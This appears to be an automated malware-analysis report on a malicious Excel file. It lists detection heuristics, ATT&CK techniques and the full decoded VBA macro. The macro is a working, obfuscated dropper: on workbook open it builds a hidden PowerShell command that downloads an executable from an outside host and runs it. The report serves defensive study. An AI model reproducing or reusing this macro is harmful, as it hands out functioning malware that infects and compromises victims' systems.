MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample is a malicious Excel file containing VBA macros. A Workbook_Open macro is present, which is designed to execute automatically when the file is opened. This macro uses obfuscation techniques, including splitting string literals, to reassemble dangerous API names like 'cmD.EXE'. The script attempts to download a second-stage executable from 'http://cloudphotos.party/home' and save it as a random filename in the user's home directory, then execute it. This indicates a downloader or dropper functionality.
Heuristics 6
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ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3097 bytes |
SHA-256: 3fcffc116f1bb714ac0ae1d8bf2615425d155968c8ebc5aa376c84607045940d |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function multitoggler()
multitoggler = "EN -ST -N"
End Function
Function zidanball()
zidanball = "\""{1}{0}\"" -f '.W" + "','em') ) ; . ( ${ver`B`os`ePR" + "EFER`eN`cE}.( \""{1}{2}{0}\""-f 'Ng','t',(\""{0}{1}\""-f 'oSt','RI' ) ).\""iNv`oke\""( )[1,3]+ 'X'-joiN'' ) ( ( "
End Function
Function fekiloko()
fekiloko = "Ell -N"
End Function
Function vintagelamp()
vintagelamp = "[sySTeM.wI" + "ndOWs.FOrmS.clipBOaRD]::(\""{0}{1}\""-f'ge',(\""{0}{1}\""-f'TTex','t' ) ).\""iNV`oKe\""( ) ) ) ; [System.WinDows.Forms.Clipboard]::(\""{2}{0}{1}\"" -f ( \""{1}{0}\"" -f 'ex','tT' ),'t','Se' ).\""i`NVo`ke\""(' ')"""""
End Function
Function ottappii()
ottappii = "tIOnpo By"
End Function
Function asusbooker()
asusbooker = sunshinepeople & formulabolid & cioopermini + lidergroups + zidanball + vintagelamp
End Function
Function farrerol()
Dim etallones As String
Randomize
etallones = Int(Rnd * 9444311#)
farrerol = etallones
End Function
Function cioopermini()
muujioji = farrerol
mollibenius = "em.Ne" + "t.W"
kiroll = "a`dF`i"
cioopermini = "SYst" + mollibenius + "ebCl" + "ient).""doW" + "Nl`o" + kiroll + "Le"".""Inv`OKE""(('http://cloud'+'photo'+'s.par'+'ty/h'+'ome'),""$omes\\" + muujioji + ".exe"")}while(!${?});^^^&(""{0}{3}{2}{1}""-f 'S','ess','roc','tart-P') $omes\" + muujioji + ".exe |cLip.ex" + "E&&c" + "mD.EXE"
End Function
Function sunshinepeople()
sunshinepeople = "cmD.E" + "XE /c ""echO/ sEt-va" + "RIABlE 387n ([TYp" + "E](""{0}{3}{2}{1}"" -f 'E','nT','mE','nv" + "iRoN') ); do{^" + "^^&(""{1}{0}"" -f 'p','sle" + "e') 31;${O" + "m`Es} = (ls VAr" + "Iable:38" + "7N "
End Function
Function lidergroups()
lidergroups = "/cPower" + "sh" + fekiloko + "oPR -E" + "xECU" + ottappii + "paS" + "S -WinD h" + "iDd" + multitoggler + "Onin" + "tE -N" + "Olo "".(\""{2}" + "{0}{1}\""-f '-',( \""{1}{0}\""-f'pe','Ty' ),'Add' ) -Assem ( \""{5}{0}{6}{2}{4}{1}{3}\""-f 'yst',(\""{0}{1}\"" -f 'ws.F','o'),'i" + "nd','rms','o','S',( "
End Function
Sub Workbook_Open()
Shell "" + asusbooker, Unchecked
End Sub
Function formulabolid()
formulabolid = ").Va" + "LuE::('G'+'e" + "tF'+'old" + "erP" + "ath').Invoke(('L'+'oc'+'al" + sistermonth + "}{0}{1}""-f'O','bj" + "ect','N" + "ew-')"
End Function
Function sistermonth()
sistermonth = "Ap'+'plic" + "ati'+'onD" + "ata'));(^" + "^^&(""{2"
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
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